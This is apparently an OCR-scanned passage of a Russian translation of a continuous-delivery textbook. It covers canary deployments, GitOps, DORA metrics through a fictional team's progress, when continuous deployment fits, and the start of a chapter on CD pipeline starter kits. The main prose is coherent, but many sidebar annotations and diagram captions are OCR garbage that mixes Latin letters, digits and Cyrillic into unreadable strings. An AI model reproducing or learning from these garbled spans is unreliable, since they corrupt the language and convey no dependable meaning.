• Определить время, необходимое для сбора данных с канареечного экземпляра. Опять 
же, чтобы сигнал об успешности обновления был достоверным, необходимо со
бирать данные достаточно долго, иначе вывод об успешности обновления может 
быть ошибочным, но слишком длительный процесс сбора данных может замедлить 
реагирование при возникновении проблемы. 

Как измерить и определить успешность развертывания ? 

Измерив работоспособность сервиса. Чтобы понять, что и как измерять, обрати
тесь к литературе по DevOps или по обеспечению надежности сайта. Книга «Site 
Reliability Engineering: How Google Runs Production Systems» 1 под редакцией Бетси 
Бейер (O'Reilly, 20 16) описывает, например, четыре золотых сигнала, на которые 
следует обращать внимание при мониторинге распределенных систем (задержка, 
трафик, ошибки и насыщение) . Чтобы автоматизировать сбор этих показателей 
и стратегии развертывания, применяйте существующие инструменты (например, 
Spinnaker, инструмент с открытым исходным кодом с поддержкой нескольких 
облачных провайдеров и сред) или создайте свой собственный. Создание соб
ственного инструмента - самый дорогой вариант, а логика, необходимая для 
его поддержки, достаточно сложна, поэтому вам понадобится команда для его 
создания и обслуживания. Выбирайте этот путь, только если не можете найти 
подходящие инструменты (например, если вы создали свое собственное (про
приетарное) облако) . 

1 Бетси Бейер и др.  «Site Reliability Engineering. Надежность и безотказность как в Google». 
Санкт-Петербург, издательство «Питер» .  

Книги для программистов: https://t.me/booksforits



282 Глава 10 . Надежное развертывание 

� «Кана рей ки» и «конфигурация как код» 

В главе 3 вы узнали, что важно использовать принцип «конфигурация как 
код» как можно чаще: рассматривать конфигурацию (и вообще все текстовые 
данные, необходимые для работы продукта) «Как код», храня ее в системе 
контроля версий и применяя к ней непрерывную интеграцию.  Но такая 
стратегия, как канареечное развертывание, требует внесения инкрементных 
обновлений в конфигурацию, используемую для запуска сервисов, по мере 
развертывания: 

обновить конфигурацию, описывающую экземпляры, включив новый 
экземпляр для запуска «Канарейки» с новой версией продукта; 
обновить конфигурацию для маршрутизации трафика, направив часть 
трафика на канареечный экземпляр; 
если «канарейка» не работает, обновить конфигурацию, описывающую 
экземпляры, удалив «Канарейку» и маршрутизацию трафика, направив 
весь трафик обратно на исходные экземпляры; 
если «канарейка» успешно работает, обновить конфигурацию так, чтобы 
в нее добавились все необходимые новые экземпляры, и переключить 
трафик на них. 

Имеет ли смысл использовать принцип «конфигурация как код» при выпол
нении всех этих обновлений? Да! Продолжайте использовать этот принцип 
как можно чаще. Есть несколько способов заставить его работать с новыми 
стратегиями развертывания: 

По мере внесения изменений в конфигурацию фиксировать их в репози
тории ,  где хранится конфигурация (используйте автоматизированный 
пайплайн с задачами,  которые будут создавать и сливать РR-запросы 
в репозиторий с изменениями по мере развертывания) .  
Фиксировать изменения в репозитории до того, как они будут развернуты 
в рабочей среде, и инициировать изменения в продакшен-конфигура
ции на основе изменений в коде. (Такой подход, особенно в контексте 
Kubernetes, часто называют GitOps. ) 

Подход GitOps может принести пользу и в другом отношении. Он позволяет 
использовать репозиторий конфигурации как шлюз для внесения изменений 
в рабочую версию продукта, гарантируя, что она всегда остается синхрони
зированной с конфигурацией в системе контроля версий и что все изменения 
в ней проходят проверку кода и CI. Подробнее см. ресурсы по GitOps и ин
струментам типа ArgoCD. 

Книги для программистов: https://t.me/booksforits
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Канареечное развертывание параллельно 
с базовым 
Чтобы представление об  успешности обновления было точным, важно сравнивать 
сопоставимые понятия. При сравнении производительности новой и старой версии 
продукта необходимо, чтобы как можно больше переменных были одинаковыми, за 
исключением самого обновления. 

В большинстве случаев при канареечном развертывании сравнение не совсем 
справедливо: например, неоправданно ожидать от совершенно нового, только что 
запущенного экземпляра такой же производительности, как от экземпляров, кото
рые уже работают несколько часов или дней. Ниже перечислены факторы, которые 
чаще всего вызывают различия в производительности между канареечным и ис
ходным экземплярами: 

1 .  Только что запущенный экземпляр (например, до полной инициализации кэш ей 
в оперативной памяти) нельзя сравнивать с экземпляром, который работает уже 
некоторое время. 

2 .  Нельзя сравнивать обработку разных объемов трафика. 
3 .  Работу в качестве отдельного экземпляра нельзя сравнивать с работой в составе 

более крупного кластера. 

Все эти факторы, естественно, будут отличать канареечный экземпляр, который был 
запущен недавно, обрабатывает лишь небольшую часть общего трафика и не явля
ется частью кластера, достаточно большого, чтобы справиться с рабочей нагрузкой. 

Так что же делать? Одним из решений является загрузка параллельно с канаре
ечным экземпляром базового экземпляра, на котором работает предыдущая версия 
продукта. Затем, чтобы определить, было ли обновление успешным, сравните на
прямую метрики «канарейки» с метриками базовой версии. Это поможет получить 
гораздо более точное представление об эффективности канареечного экземпляра. 

---::--\ ---::--\ --,_:::_J i� 
---::--\ ----::-\ ._:::_J 1� _/ э 

Неболvщой. nроценw. w.раф1Ака 
будеw. наnрабляw.vся на оба 
экземnляра ( од1Анакобое 
кол1Ачесw.бо на каждv1й. экзем -
nляр). Есл1А берс1АЯ канареечно 
го экземnляра Жl.Азнесnособна, 
мew.p1AKIA доЛЖНt:J/ бt>IW.t:J 
nр1Амерно од1Анакобv1М1А для 
обо1АХ экземмяроб. 
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Время восстановления работоспособности 
при канареечном развертывании 
Сарита и Арчи рекомендуют команде Plenty of Woofs перейти н а  канареечные раз
вертывания. К счастью, они находят инструмент, который им подходит (Deployaker, 
тот же инструмент, который использует команда Watch 
Ме Watch в главе 3) ,  и им не нужно создавать собственное 
решение. Они изучают время восстановления работо
способности сервиса после использования «канареек» 
в течение нескольких развертываний: 

(Перенаправление 1 О %  + 
трафика на е<Канарейку>>) �До :L MUH!JM1'f ( f 

Ух 111Ф1 1  Время 

(Период наблюдения + 
за е<канарейкой») 

\ 5 MUH!JM 

Deployaker - это 
вымышленный 
аналог Spinпaker ;) 

(Перенаправление 
трафика обратно) (До :L MUH!JM1'f 

6оссw.аноблен1Ая 
paOOWIOCMCOOHOCW\IA 

сокраw.1Алосt> 
с несколt>КIАХ дней 

до 7 MIAHyW\. 
K.pyw.o! 

и да.же UЛIA нo6t>1i.i деМОIА 
за.берuщW\СЯ СООеМ, ЭW\OW\ COOi.i 
заw.ронеw. w.олt>ко :!.0% на.ищх 
�олt>зоба.w.елеi.i, w.а.к чw.о да.же 

не все у61Адяw., ЧW\О ca.i.iw. P(e�ty 
of Woofs не ра.ооw.а.л 

7 MIAH!:JWI. 

Метрики DORA и «канарейки» 

Если сбой затрагивает лишь небольшой процент пользователей и сервис 
можно быстро восстановить, отключив неисправный канареечный экземп
ляр, считать ли это сбоем продакшена? Метрики DORA и сопутствующая 
литература не слишком углубляются в этот вопрос. Они называют отказы 
«деградацией сервиса» или «ухудшением сервиса» . Эти определения предпо
лагают, что воздействие даже на небольшой процент пользователей считается 
сбоем продакшена и учитывается в метрике «частота сбоев при изменениях» . 
Но вы вольны использовать любое определение сбоя. Важно не просто попасть 
в суперэффективную категорию, а реализовывать бизнес-ценность продукта. 
В методологии невозможно применять единый подход во всех сценариях, 
особенно когда речь идет о допустимости сбоев продакшена. 

-_(�� ВАЖНО 
Использование канареечных развертываний снижает опасность, которую несут 
в себе неудачные развертывания, за счет сокращения количества пользовате
лей, которых они затрагивают, а также за счет возможности быстро и просто 
сделать откат. 

Книги для программистов: https://t.me/booksforits
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� Ваш ход: определите стратегию 

На каждой из следующих диаграмм показано 
обновление кластера из четырех экземпляров 

перед ро.зберW1.1:>1бо.нцем: 
lACXOOHl:>IU KЛO.CWl.ep 

с использованием одной из четырех стратегий 
развертывания, которые мы только что рассмот
рели (скользящее обновление, сине-зеленое раз
вертывание, канареечное развертывание и кана
реечное развертывание параллельно с базовым) .  
Сопоставьте каждую диаграмму с соответствую
щей стратегией развертывания. 

с чеW1.1:>1р1:>мя экземV\ляро.мц 
ро.ооW1.о.ющеiА берсцц vo.s.o 
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: раз ep1Мti1 анием :: Во Время разВер1Мt�1Вания : : раз ep1Мti1 ание • : Во Время разВер1Мt�1Вания : · - - - - - - - - - - - - - - - �� - - - - - - - - - - - - - - - - - - - - - - - - - - - _ !  � - - - - - - - - - - - - - - - J � - - - - - - - - - - - - - - - - - - - - - - - - - - - _ ! 

� Ответы 

1 .  Стратегия 1 :  сине-зеленое развертывание 
2 .  Стратегия 2 :  канареечное развертывание параллельно с базовым 

3 .  Стратегия 3 :  канареечное развертывание 

4. Стратегия 4: скользящее обновление 
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Увеличение частоты развертывания 
Значительно улучшив метрику времени восстановления работоспособности сервиса, 
Сарита и Арчи вернулись к списку метрик DORA для Plenty of Woofs: 

• Частота разверть1вания - один раз в неделю (высокая). 

• Время доставки изменений - меньше одной недели (высокий показатель) .  

• Время восстановления работоспособности сервиса - примерно 7 минут (наи
высший показатель) . 

• Частота сбоев при изменениях - одно из трех развертываний, или около 33 % 

(низкий уровень) .  

Сарита и Арчи предлагают остальным разработчикам перейти от еженедельных 
релизов к ежедневным. Канареечное развертывание имело успех (уровень стресса 
в команде понизился, и ей больше не нужно работать сверхурочно) ,  поэтому все 
единодушно соглашаются. 

Ранее Сарита и Арчи проанализировали 8 недель еженедельных развертываний 
и подсчитали, что 4 из 40 ежедневных развертываний за тот же период времени за
вершились бы сбоем: 

• Неделя 1 - сбои в 1 /5  ежедневных развертываний 

• Неделя 2 - сбои в 0/5 ежедневных развертываний 

• Неделя 3 - сбои в 2/5 ежедневных развертываний 

• Неделя 4 - сбои в 0/5 ежедневных развертываний 

• Неделя 5 - сбои в 0/5 ежедневных развертываний 

• Неделя 6 - сбои в 0/5 ежедневных развертываний 

• Неделя 7 - сбои в 1 /5  ежедневных развертываний 

• Неделя 8 - сбои в 0/5 ежедневных развертываний 

В начале рабоw11:>1 над 
улучщением разверW1ь1ванt.ся 
сервиса Ple�ty of Woof онt.с 
увt.сдели , ЧW\О за 8 недель 
Wlpt.c еженедельных раз -
верW1ывания заверщились 
сбоем. Исходя из дней не -
дtлt.с , когда обнаруживались 
бazt.c, вызывакпцt.се сбои, онt.с 
мдсчи W1али , сколько сбоев 
мozyWI вызваWlь ежедневные 
развtрWlывания. 

По мере того как Plenty of Woofs переходит к ежедневному развертыванию, они 
видят, что их прогнозы оказались довольно точными: 5 из 40, или 1 2,5 %, разверты
ваний в течение следующих 8 недель завершались сбоями - и на устранение сбоев 
уходило примерно по 7 минут! Причем за это время никому не пришлось работать 
на выходных. 

Книги для программистов: https://t.me/booksforits
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Метрики DORA при ежедневных 
канарееч ных развертываниях 
Теперь команда Plenty of Woofs выполняет ежедневные канареечные развертывания, 
и метрики DORA выглядят следующим образом: 

• Частота развертывания - ежедневно (высокая). 

• Время доставки изменений - меньше одного дня (высокий показатель) .  

• Время восстановления работоспособности сервиса - 7 минут ( наивысший, 
«элитный» показатель) . 

• Частота сбоев при изменениях - 1 2,5 % (низкий уровень) .  

Из таблицы метрик DORA для супер- , высоко-, средне- и низкоэффективных команд 
видно, что Plenty of Woofs заметно улучшила свое положение: 

Метрика Супер- Высоко- Средне- Низко-
эффективные эффективные эффективные эффективные 

Частота Несколько От одного От одного Реже, чем раз 
развертывания раз в день раза в неделю раза в месяц в полгода 

ДО ОДНОГО ДО ОДНОГО 
раза в месяц раза в полгода 

Время доставки Менее одно- От одного дня От одного Более полу-
изменений го часа до одной не- месяца до года 

дели полугода 

Время восстановnе- Менее одно- Менее одного От одного дня Более 6 меся-
ния работоспособно- го часа дня до одной не- цев 
сти сервиса дели 

Частота сбоев при 0- 1 5% 1 6-30% 1 6-30% 1 6-30% 
изменениях 

Разработчики прошли путь от высокой, средней и низкой производительности до 
однозначно высоких показателей и даже до супервысоких в двух из четырех метрик! 

'-Ф� ВАЖНО 
При использовании надежной стратегии восстановления сервиса в случае не
удачного развертывания (например, стратегии канареечного развертывания) 
частоту развертывания можно смело увеличить, а это положительно скажется 
и на других показателях! 

Книги для программистов: https://t.me/booksforits
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Непрерывное развертывание 

Мы OWICW\aeм u 1'\О чacW10W1e 
разберW1111банuя, u м бременu досW1абкu 
uзмененuiА. Я думаю, ЧWIO едuнсW16енным 

Cl'\OCOOOM дoбtcWllA эwщ MeWlp!AKIA 
до элuWIH/J/X ябляеW1ся неl'\рерыбное 

разберW1ыбанuе. 

Сарита предполагает, что для достижения суперэффективных (элитных) показателей 
по всем метрикам DORA необходимо начать выполнять непрерывное развертывание. 
Так ли это? 

Давненько я подробно не рассказывала о непрерывном развертывании (с самой 
первой главы! ) .  Его путают с непрерывной доставкой и тоже часто называют CD 
(в этой книге аббревиатура CD используется исключительно для обозначения не
прерь1вной доставки) .  Непрерывное развертывание - это методика программной 
разработки, при которой: 

выпуск релиза рабочей версии продукта для пользователей 
осуществляется автоматически при каждом коммите. 

При непрерывном развертывании каждый коммит, внесенный в систему контроля 
версий, запускает процесс развертывания. В компании Plenty of Woofs разверты
вание происходит один раз в день, но каждое развертывание может содержать не
сколько коммитов, то есть все коммиты, которые были слиты и добавлены в главную 
ветку веб-сервера в этот день. 

Две метрики DORA, которые в Plenty of Woofs пока не дотягивают до суперэф
фективных, - это частота развертывания и время доставки изменений, которые 
тесно связаны и непосредственно влияют друг на друга: 

Метрика Суперэффективные 

Частота Несколько раз 
развертывания в день  

Время доставки Менее часа 
изменений -

Высокоэффективные 

От одного раза в не-
делю до одного раза 
в месяц 

От одного дня до 
одной недели 

передача 1A3MtHeнuiA 8 ра -
бочuiА l'\poд!)KWI менее чем 
за час W1ребнеw. чacw.0W11J1 
раз8ерW11:11банuя несколько 
раз б денt:> (1'\редмлагая, 
ЧWIO кажд1:11iА денt:> l'\pouc -
xoд!AWI СЛIАЯН!Ае несколt:>КIАХ 
uзмененuiА). 

Чтобы стать суперэффективной, Plenty of Woofs должна выпускать развертывания 
еще чаще, например каждый час. Но в этом случае они окажутся такими частыми, 
что с тем же успехом можно использовать непрерывное развертывание (которое, 
как вы увидите ниже, упрощает поддержку кода в состоянии готовности к релизу) . 
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Когда использовать непреры вное 
развертыва ние 
Непрерывное развертывание имеет свои преимущества, но  подходит не  для каждого 
проекта. Его не обязательно использовать, чтобы наладить непрерывную доставку. 

Возможно, из главы 1 вы помните, что цель CD - достичь состояния, при ко
тором можно выпускать релизы в любое время, и автоматизировать этот процесс 
(чтобы выпустить релиз «было так же просто, как нажать кнопку») .  Если вы это 
сделали, у вас, по сути, есть все необходимое для непрерывного развертывания. 

Но не всегда стоит заходить так далеко. Важно проанализировать проект и ре
шить, подходит ли вам непрерывное развертывание. Чтобы выполнять его, проект 
должен соответствовать следующим условиям: 

• Допускается определенный процент (небольшой) невыполненных запросов к сер
вису. Безопасность непрерывного развертывания зависит от способности обна
руживать и быстро устранять сбои в рабочем продукте, однако для некоторых 
программных продуктов цена сбоев слишком высока. Конечно, неоходимо ми -
нимизировать последствия сбоя, но иногда риск, связанный с допущением сбоя, 
слишком велик (например, если сбой может повлиять на здоровье человека) . 

• Нормативные требования не препятствуют его проведению. В зависимости от 
предметной области, продукт, возможно, должен соответствовать норматив
ным требованиям, которые делают невозможным выпуск релиза при каждом 
изменении. 

• Исследовательское тестирование перед релизом не требуется. Этот вид тести
рования должен блокировать выпуск релизов только в том случае, если сбои 
связаны с достаточно высоким риском (подробнее об этом ниже) , но если бло
кировка все же необходима, то она настолько замедлит релиз, что непрерывное 
развертывание окажется просто невозможным. 

• Перед релизом не требуется явное одобрение. Выпуски релиза могут требовать 
явного одобрения руководства. Старайтесь этого избегать (например, придумай
те, как автоматизировать все, что должно утверждать руководство), но если это 
требование сохранится, выполнять непрерывное развертывание не получится. 

• Релизы не требуют аппаратных изменений. Если обновления продукта требуют 
соответствующих обновлений оборудования (например, если вы работаете над 
встроенным ПО), вы, скорее всего, не сможете использовать непрерывное раз
вертывание. 

Если один или несколько из этих факторов исключают возможность непрерывного 
развертывания, не расстраивайтесь ! На нем свет клином не сошелся, и улучшить 
процессы CD, сделать их гладкими и удобными в работе можно и без него (о чем 
говорится далее в этой книге). 
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Обязательные этапы контроля качества 
Зачастую внедрить непрерывное развертывание ме
шает требование проводить исследовательское или 
QА-тестирование (QA, Quality Assurance - обеспе
чение качества) перед выпуском продукта на про
дакшен. Обычно в этом процессе задействовано не
сколько программных сред: 

1 .  PR проверяются, и CI верифицирует изменения. 
2 .  Изменения сливаются в код. 
3. Обновленный продукт развертывается в тесто

вой среде. 

4. QА-аналитики изучают продукт в тестовой среде 
и ищут ошибки. 

5 .  Только после этапа QA продукт может быть раз
вернут в рабочей среде . 

• Словарик 

При работе с несколь
кими средами ста
райтесь использовать 
для них один метод 
автоматического 
развертывания. Ис
пользование разных 
методов облегчает 
проникновение багов, 
не проверенных в этих 
средах. 

Исследовательское тестирование (exploratory testing) - это процесс ручной 
проверки продукта на наличие непредвиденных проблем. Тестирование с уча
стием человека бесценно при выявлении таких проблем. Какими бы полезными 
ни были автоматизированные тесты, они, скорее всего, будут выявлять только 
те проблемы, которые вы уже предвидели заранее (и систематизировали в виде 
тестов) .  Чтобы выявить действительно неожиданные ситуации, при которых 
что-то пойдет не так, нужны люди, которые будут проводить эксперименты 
с продуктом. 

О Словарик 
Среды (они же среды выполнения, runtime environments) ,  которые здесь об
суждаются, - это машины, на которых выполняется продукт. Например, 
в рабочей среде (продакшен, сокращенно prod) с продуктом взаимодействуют 
конечные пользователи. Каждый разработчик может иметь свою собственную 
среду разработки (development, сокращенно dev) , в которой он осуществляет 
развертывание продукта по мере работы над ним. Самые распространенные 
типы сред - промежуточная (иначе называемая предпродакшен, или стейдж), 
тестовая, рабочая (иначе называемая продакшен) и среда разработки: staging, 
test, prod, dev. 
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Контроль качества и непрерывное 
развертывание 
Наличие этапа контроля качества (или любого другого этапа ручного подтверж
дения) , который блокирует развертывание продукта, не позволит осуществлять 
непрерывное развертывание и будет определять максимально достижимую верх
нюю границу частоты развертывания. Если у вас есть такое ограничение, обратите 
внимание на следующее: 

• Какова цена сбоя? Опять же, если цена сбоя в процессе эксплуатации слишком 
высока (например, жизнь человека ! ) ,  имеет смысл проявить максимальную 
осторожность и все же включить этап QA. 

• Проводит ли группа контроля качества исследовательское тестирование? Если 
да, то один из вариантов - продолжать это тестирование параллельно, но при 
этом не блокировать релизы, что позволит использовать преимущества обоих 
ПОДХОДОВ. 

• Возможно ли автоматизировать тестирование? Если специалисты, проводящие 
ручную проверку, при поиске проблем используют чек-лист ранее замеченных 
признаков сбоя, скорее всего, этот процесс можно автоматизировать. А если 
его можно автоматизировать, то его можно выполнять как часть пайплайна CD. 

В общем, чем больше вы сможете автоматизировать, тем меньше сред и специали
стов вам потребуется и тем больше людей смогут делать то, что у них получается 
лучше всего, а не просто следовать чек-листу. 

И всегда остерегайтесь FUD (страх, неуверенность и сомнения) !  Часто этап QA 
делают обязательным только потому, что люди боятся ошибиться. Но если вы мо
жете уменьшить влияние ошибок с помощью безопасных стратегий развертывания 
и если в процессе эксплуатации продукта допустимо появление некоторых недоче
тов, то вам, вероятно, не понадобится этап QA. Не позволяйте страху вам мешать. 
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� Поддержание кода в состоянии готовности к релизу 
Еще одна веская причина применять непрерывное развертывание, если это 
возможно, - использовать его для поддержания кода в состоянии готовности 
к релизу. Стратегия немедленного отката хороша с точки зрения поддержания 
стабильности развертывания, но после отката код, вызвавший сбой, остается 
в базе. Это означает, что сразу после отката код уже непригоден для релиза 
(технически он был таким и до развертывания, но узнать об этом было не
возможно) .  Цель CI - поддерживать такое состояние, чтобы: 

безопасно вносить изменения в продукт в любое время. 

Как же после отката вернуться в состояние готовности к релизу? Непрерыв
ное развертывание действительно с этим справляется: если развертывание 
выполняется после. каждого изменения и однажды приводит к сбою, то легко 
отследить изменение, которое его вызвало. А если пойти еще дальше, то мож
но автоматически отменить изменение или, по крайней мере, автоматически 
создать PR для отмены изменения, а проводить анализ и принимать решение 
будет человек. 

В отсутствие CD развертывания, скорее всего, будут включать множество 
изменений, и после отката кто-то должен будет просмотреть все эти измене
ния, решить, какое из них вызвало сбой, и определить, как вернуть все об
ратно или исправить ошибку. В течение этого времени код будет оставаться 
непригодным для релиза. 

'-Ф� ВАЖНО 
У непрерывного развертывания много преимуществ, но оно годится не на все 
случаи жизни, и не стоит ожидать, что его можно будет применить в любом 
проекте. 
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Суперэффективность согласно метри кам DORA 
Компания Plenty of Woofs решает попробовать непрерывное развертывание. Раз
работчики настроили его заnуск из системы контроля версий, которая инициирует 
канареечное развертывание с помощью Deployaker каждый раз, когда PR сливается 
в код веб-сервера. 

И они довольны результатами! Их метрики DORA на данный момент выглядят 
так: 

• Частота развертывания - несколько раз в день (элитная) . 

• Время доставки изменений - после внесения изменений запускается пайплайн 
выnуска, и развертывание завершается менее чем за 1 час (элитное). 

• Время восстановления работоспособности сервиса - 7 минут (элитное) . 

• Частота сбоев при изменениях - 1 2,5 % (низкий уровень) .  

Теперь команда Plenty of Woofs считается суперэффективной по всем показателям: 

Метрика Суперэффективные 

Частота развертывания Несколько раз в день 

Время доставки изменений Менее одного часа 

Время восстановnения Менее одного часа 
работоспособности сервиса 

Частота сбоев при изменениях 0- 1 5% 

Развертывания теперь проходят настолько гладко и просто, что большинство 
сотрудников быстро начинают относиться к ним как к обычным процессам. Это 
гораздо лучше, чем эмоциональное выгорание, грозившее команде, когда Сарита 
и Арчи начинали работу! 
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Заключение 
Еженедельные развертывания в компании Plenty o f  Woofs вызывали у разработ
чиков стресс и эмоциональное выгорание. Первая естественная реакция на такую 
ситуацию - проводить развертывания реже. Но руководствуясь метриками DORA, 
члены команды сразу поняли, что на самом деле лучше проводить развертывания 
чаще, а не реже. 

Внедрение стратегии отката изменений вместо немедленного исправления оши
бок дало им большую свободу действий. После этого они изучили более сложные 
стратегии, такие как сине-зеленые и канареечные развертывания. 

В конце концов компания Plenty of Woofs решила внедрить непрерывное раз
вертывание, тем самым попав в категорию суперэффективных (элитных) команд 
согласно DОRА-метрикам и добившись того, что развертывание превратилось из 
события, которого все боялись, в обычную работу. 

Итоги 
• Частота сбоев при изменениях - одна из двух метрик DORA для стабильности, 

показывающая, как часто развертывания на продакшен приводят к сбоям сер
виса. 

• Время восстановления работоспособности сервиса - вторая метрика DORA для 
стабильности, определяющая, сколько времени требуется, чтобы вывести сервис 
из нерабочего состояния. 

• Более частое развертывание снижает степень риска при каждом конкретном 
развертывании. 

• Немедленный откат при возникновении проблем в работе продукта позволяет 
быстро и безболезненно провести восстановление, спокойно устраняя основную 
проблему. 

• Сине-зеленые и канареечные развертывания снижают негативное влияние сбоев 
на пользователей и обеспечивают быстрое восстановление. 

• После внедрения таких процессов, как сине-зеленое и канареечное развертыва
ние, можно смело увеличивать частоту развертываний. 

• У непрерывного развертывания много преимуществ, но оно годится не на все 
случаи жизни, и не стоит ожидать, что его можно будет применить в любом 
проекте. 

Далее . . .  
В следующей главе мы углубимся в вопросы, связанные с реализацией пайплайнов. 
Вы на практике узнаете, как быстро проделать путь от абсолютного новичка до экс
перта непрерывной доставки. 

В заключительной части мы рассмотрим общие концепции непрерывной до
ставки. 
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Часть 4 
Реал иза ция 

.... 

непреры внои доста вки 

•••••••••••••••••••••••••••••••••••••••• t 
В главе 1 1  мы вернемся к элементам непрерывной доставки, которые изучались 
в предыдущих главах, и узнаем, как эффективно применять их в проектах, реали
зуемых с нуля, и в уже существующих проектах. 

В главе 1 2  основное внимание уделено «рабочей лошадке» ,  часто лежащей в ос
нове любой автоматизации непрерывной доставки: shеll-скриптам. Вы увидите, как 
применять передовые методики, которые мы использовали для остальной части 
кода, к скриптам, обеспечивающим безопасную и корректную доставку программ
ного продукта. 

В главе 1 З представлена общая структура автоматизированных пайплайнов, 
которые необходимы для поддержки непрерывной доставки. Пайплайны, которые 
мы рассмотрим, иллюстрируют функционал систем автоматизации CD, требуемый 
для обеспечения эффективности работы пайплайнов . 

• • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • 
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1 1  Ста ртовые наборы: 
с нуля до CD 

• •••••••••••••••••••••••••••••••••••••••• 

В этой гла ве 

v Определение основных элементов эффективного 

пайплайна СО 

v Как  найти и добавить недостающие элементы в суще

ствующих пайплайнах СО 

v Как  создать с нуля эффективный пайплайн СО для 

нового проекта 

v Как добавить полезную автоматизацию СО к уже суще

ствующим проектам и при этом не решать все пробле

мы сразу 

••••••••••••••••••••••••••••••••••••••••••••••••••••••••••• 

Разобраться, с чего начать работу с непрерывной доставкой, может быть непросто, 
особенно если у вас вообще отсутствует автоматизация, если вы делаете что-то со
вершенно новое или если у вас накопилась куча унаследованного кода. Эта глава 
поможет вам избежать трудностей и покажет, с чего начать и как быстро получить 
максимальную отдачу от пайплайнов CD независимо от того, приступаете ли вы 
к работе с чистого листа или вам приходится иметь дело с унаследованным кодом, 
которому уже 20 лет. 
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Стартовые наборы: обзор 
В этой главе мы рассмотрим, как усовер
шенствовать CD для проекта, независимо 
от того, на каком этапе вы начинаете. Глава 
состоит из трех разделов: 

1 .  Краткий обзор. Сначала мы вспомним 
задачи,  которые вы найдете в любом 
пайплайне CD и которые мы уже под
робно рассматривали .  Мы обсудим,  
как они могут сочетаться друг с другом 
в прототипах пайплайнов выпуска и не
прерывной интеграции. Полезно знать, 
что представляет собой пайплайн CD, 
но совсем другое дело - знать, как при
менять его в проектах. Поэтому осталь
ная часть главы будет посвящена тому, 
как усовершенствовать пайплайны CD 
в двух очень разных, но очень распро-
страненных случаях. 
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О Словарик 
Проекты greeпfield, или проекты, 
создаваемые с нуля, являются 
совершенно новыми и поэтому 
предполагают большую свободу 
действий. Их противополож
ность - старые (или унаследо
ванные) проекты (иногда назы
ваемые проектами browпfield) , 
которые существуют достаточно 
долго, поэтому в них накаплива-
ется много кода и вносить в них 
крупные изменения становится 
проблематично. 

2 .  Проект с нуля. Первый тип проектов, которые мы рассмотрим, - это совершен
но новые проекты (или проекты greenfield), в которых кода еще практически нет 
и можно с самого начала применить передовые методики. Для примера мы возь
мем стартап под названием Gulpy, который работает всего пару месяцев, поэтому 
кое-какой код уже написан, но не так много, чтобы его было сложно изменять. 
Мы подробно разберем весь путь от полного отсутствия автоматизации CD до 
полноценного набора задач и пайплайнов. 

3 .  Старый (унаследованный) проект. Каждый проект, создаваемый с нуля, рано 
или поздно становится старым, поэтому велика вероятность, что проект, над 
которым вы сейчас работаете, именно таков. В этих проектах, скорее всего, кода 
и автоматизации так много, что их модернизация может оказаться непосильной. 
Мы рассмотрим компанию Rebellious Hamster и ее унаследованный код и увидим, 
как инкрементное улучшение CD приносит быстрый результат. 
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Ун иверсал ьные задачи пайплайна CD 
Независимо от того, над каким программным проектом в ы  работаете, в полноцен
ный пайплайн CD входят, как правило, одни и те же основные задачи. (Однако их 
количество и порядок выполнения могут быть разными.) В главах 1 и 2 мы бегло 
ознакомились с этим стандартным набором задач: 

• Линтинг - наиболее распространенная форма статического анализа в пайплай
нах СD. 

• Юнит-тесты и интеграционные тесты - это разновидности тестов. 

• Чтобы использовать большую часть программных продуктов, необходимо про
извести их сборку. 

• Многие продукты перед их использованием требуют публикации. 

• Чтобы обновить работающий сервис для использования нового артефакта, нуж-
но произвести развертывание. 

На протяжении всей книги мы сталкивались с линтингом, тестированием, сборкой 
и развертыванием. В главе 6 вы познакомились с типами задач тестирования, кото
рые должен содержать пайплайн: 

• юнит-тесты; 
• интеграционные тесты; 
• сквозные тесты. 

В главе 2 эти задачи были отнесены к категориям шлюзов и преобразований кода. Вот 
какие шлюзы и преобразования составляют полнофункциональный пайплайн CD: 

f Выполнение \ интеграционных 
тестов 

Выполнение 
юнит-тестов 

f Выполнение 
сквозных тестов 

L Сборка J Публикация 

1 Развертывание 1 

� Шлюзы Преобро.зобо.ния 

3о.до.чи щлюзобо.ния сосW\о.бляюW\ ЧO.CW\ti 11\0.Ull\ЛO.uнo. С/. 
До.же 6 них, бероЯW\Но, ll\pucyW\cW\6!::}IOW\ 11\реобро.зобо.нця, 
11\роберяющие, ЧW\о элеменW\t�t, 11\роходящие через щлюз, 
COOW\6eW\CW\6!::j IOW\ W\OM!::J ) ЧW\О 6tit дeucW\61A W\eлt1нo 6tilll\!::} -
ско.еW\е (см. zло.6у 7). 
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П рототип па йплайна выпуска 
В главах 9 и 1 0  рассматривались автоматизации сборки и развертывания, а также 
их инициализация. Предположим, что вы собираетесь запускать пайплайны сборки 
и развертывания отдельно от пайплайна CI (но это необязательно и даже неже
лательно, но вы узнаете об этом подробнее в главе 1 3 ,  посвященной реализации 
пайплайнов) .  Тогда ваш пайплайн выпуска будет содержать только задачи преоб
разования и выглядеть примерно так: 

CoбtJIW\Ue, Заl'lускающее Vlаймайн,  будеWI зависеWl/:J OW\ выбранной 
СW1раW1егии разверWl/:JlваниЯ (СМ. главу 1.0) или СW1раW1егии в/:JIVlYCKa 
релиза (если разверWl/:}lвание не W1ребуеW1СЯ, см. главу q) .  Если в/:}1 
осущесW1вляеW1е нeVtpeptJ1внoe разверW1ывание или нel'lpeptJ1внtJ1й релиз, 
W\O ЭW\OW\ Vlайl'lЛайн должен Зal'lyCKaWl/:JCЯ авW10МаW1ически VlOCЛe 
заверщения Vlаймайна CI сразу меле слияния (см. далее). В ocWlaЛtJHtJIX 
случаях его можно зal'lycкaWltJ м заl'lланированному собtJ1W1ию или 
авW10МаW1иЧески , Наl'lример l'lOMeWlив KOMMиWI новой версией релиза. 

8 зависцМОСW\и OW\ 
WIOгO, ЧW\О вtJI 
создаеWlе и какие 
инcW1pyмeнW1tJI 
иcl'lOЛtJзyeWle, задачц 
сборки и Vlубликаццц 
МОЩW\ бtJIW\/:} 
объединеН/:71 в одну. Публикация 

ЭWla задача разверW1tJ18ания ) Развертывание 
можеWI дeлaWl/:J и мало, � и много. в главе 1.0 � 
объяснялосtJ, как cдeлaWltJ 
разверW1tJ1вание легким 
и бeзol'lacнtJ1M; в/:71 можеWlе 
8cW1poиW1tJ логику развер 
W1tJ18ания немсредсWlвенно 
в задачу caMOCWIOЯWleлtJHO, 
НО более верОЯW\НО, 
ЧW\О ЭW\а Задача будеW\ 
coдepжaWl/:J обращенце 
к какой -либо сцсW1еме 
разверW1/:J1ванця, 
